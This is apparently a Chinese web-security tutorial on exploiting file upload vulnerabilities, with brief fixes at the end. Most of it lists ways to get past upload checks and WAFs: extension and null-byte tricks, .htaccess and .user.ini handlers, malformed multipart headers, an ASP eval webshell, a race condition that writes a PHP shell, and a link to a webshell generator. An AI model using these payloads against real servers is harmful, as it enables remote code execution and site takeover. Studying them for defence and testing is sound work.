漏洞原理 #
用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。如果服务器处理逻辑做的不够安全,则会导致严重的后果。
代码示例 #

上述代码采用了黑名单对文件扩展名进行验证,不允许.asp、.aspx、.php、.jsp为后缀的文件上传(11行),并且会删除文件名末尾的点(13行),将文件名转换为小写(15行),去除文件名中的字符串“::$DATA”(16行),去除文件名末尾的空字符(17行)。所以可上传能够被服务器解析的asa、cer、ashx、php3、php4、jspx、jspf等文件进行文件扩展名绕过。
客户端校验 #
检测
Javascript校验后缀名(一般只校验后缀名)
绕过
开Burp代理,随便点击浏览“”选择文件,但是还没点击“上传”,就弹出警告框,说明流量没经过burp代理;所以非常可能是客户端JavaScript检测。
直接把木马改成.gif
后缀上传,BurpSuite拦包修改后缀名
服务端校验 #
校验
- MIME检测 文件头content-type字段校验(image/gif)
- 文件内容头校验(GIF89a)
- 文件扩展名校验 (白名单、黑名单)
- 文件内容检测 (检测内容是否合法或含有恶意代码)
绕过 #
前两种校验,在恶意脚本前添加GIF89a标识,一句话前后加图片数据混淆;直接把木马改成.gif
后缀上传,BurpSuite拦包修改后缀名。
黑名单绕过:
找漏网之鱼:cer、php3、php4
等
大小写绕过:AsP、pHP
文件后缀复写绕过:.phphpp
针对Windows系统:
上传不符合windows文件命名规则的文件名
test.php:1.jpg //会被windows系统自动去掉不符合规则符号后面的内容 test.php::$DATA //会被windows系统自动去掉不符合规则符号后面的内容
白名单绕过:
1)00截断: 抓包修改文件名后缀为“php .jpg”,再将空格的十六进制改为00(系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束,系统按二进制或十六进制读取文件,遇到ASCII码为0的位置就停止,而这个ASCII为0的位置在十六进制中是00); 2).htaccess解析漏洞: (只适用于Apache中allow override all、loadmodule rewrite_module/mod_rewrite.so #rewrite模块为开启状态):先上传.htaccess文件(AddType application/x-httpd-php .jpg),再上传一个图片马文件(jpg),上传的jpg文件都会以php文件格式解析。 3)Content-Type: 先上传正常的图片文件,查看Content-Type类型。上传脚本文件(AddType aaplication/x-httpd-php .jpg #将所有后缀为.jpg的文件作为php文件解析),将Content-Type类型改为查看到的类型(image/jpeg、imagepng、imagegif等) 4)Apache解析漏洞: Apache从右向左解析,若不能够解析最右的后缀,会递归向前解析,直到解析道能够解析为止,否则会报错。 5).user.ini: 适用于服务器使用CGI/FastCGI模式且目录下要有可执行的php文件,文件内容“auto_prepend_file=a.jpg # a.jpg中符合php语言的代码会被执行”。 6)文件头检测: 上传图片马,再修改后缀为可解析脚本语言;或上传一句话木马,再将文件中添加正常格式文件头(GIF89a等)。
黑白名单通用,如果可上传修改 .htaccess
文件 (还能用于隐藏后门)
<FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch> //上传shell.jpg文件,将解析为php运行
基于WAF:
常用的黑名单绕过放大也适用于部分的waf,更多的是需要配合使用。主要思路为接收文件名和waf的检测有所差异,只要是服务器能接收并解析。
1)换行绕过 Content-Disposition:form-data;name=”file”;filename=”1.php” Content-Disposition:form-data;name=”file”;file name=”1.php” Content-Disposition:form-data;name=”file”;filename= ”1.php” 2)多个等号绕过 Content-Disposition:form-data;name=”file”;filename==”1.php” 3)增加文件大小,类似于垃圾字符 Content-Disposition:form-data; qqqqqqqq…qqqqqqqqqqq;name=”file”;filename=”1.php” 4)去掉或替换引号绕过 Content-Disposition:form-data;name=file;filename=1.php Content-Disposition:form-data;name=‘file’;filename=”1.php” 5)增加filename干扰拦截 Content-Disposition:form-data;name=”file”;filename= ;filename=”1.php” 6)混淆waf匹配字段 a.混淆form-data Content-Disposition:name=”file”;filename=”1.php” # 去除form-data Content-Disposition:qqqqq=”qweqwe”;name=”file”; filename=”1.php” # 替换form-data为垃圾值 Content-Disposition: form-data ; name=“file”; filename=“1.php” # form-data后加空格 Content-Disposition: for+m-data; name=“file”; filename=“1.php” # form-data中加+号 b.混淆ConTent-Disposition COntEnT-DIsposiTiOn: form-data; name=“file”; filename=“1.php” # 大小写混淆 Content-Type: image/gif Content-Disposition: form-data; name=“file”; filename=“1.php” #调换Content-Type和ConTent-Disposition的顺序 Content-Type: image/gif Content-Disposition: form-data; name=“file”; filename=“1.php” Content-Type: image/gif #增加额外的头 AAAAAAAA:filename=“aaa.jpg”; Content-Disposition: form-data; name=“file”; filename=“1.php” Content-Type: image/gif #增加额外的头 Content-Length: 666 Content-Disposition: form-data; name=“file”; filename=“1.php” Content-Type: image/gif #增加额外的头 Content-Disposition: form-data; name=“file_x”;;; filename=“test.php” #多个分号,导致可能解析不到文件名 7)双文件绕过: 例如安全狗总是以最后一个Content-Disposition中的值作为接收参数进行检测,一些中间件例如IIS6.0总是以第一个Content-Disposition中的值作为接收参数。 8)容器与waf对Bounday要求规则不一致 Content-Type: multipart/form-data; boundary=—————————471114117352599 Content-Length: 253 —————————–471114117352599 Content-Disposition: form-data; name=“file1”; filename=“shell.asp” Content-Type: application/octet-stream <%eval request(“a”)%> —————————–471114117352599– 一些waf会认为两段Boundary不一致的数据是无意义的,不进行检测,而容器并没有严格要求,正常接收数据。 9) 条件竞争 一些情况再上传文件时,先上传到临时目录,然后再检测,检测到再删除。例如可以上传生成一句话木马的文件(fputs(fopen(‘shell6666.php’,’w’),’’) ; 上传同时疯狂重复发包访问此文件,就有可能会在文件被删除之前生成webshell文件shell6666.php。
文件加载检测(文件内容检测)
常见的是对图像进行二次渲染,一般是调用PHP 的GD库
一个绕过GD库的Webshell生成器:
http://wiki.ioin.in/soft/detail/1q
https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE
修复建议 #
1、使用白名单限制可以上传的文件扩展名 2、注意0x00截断攻击(PHP更新到最新版本) 3、对上传后的文件统一随机命名,不允许用户控制扩展名 4、上传文件的存储目录禁用执行权限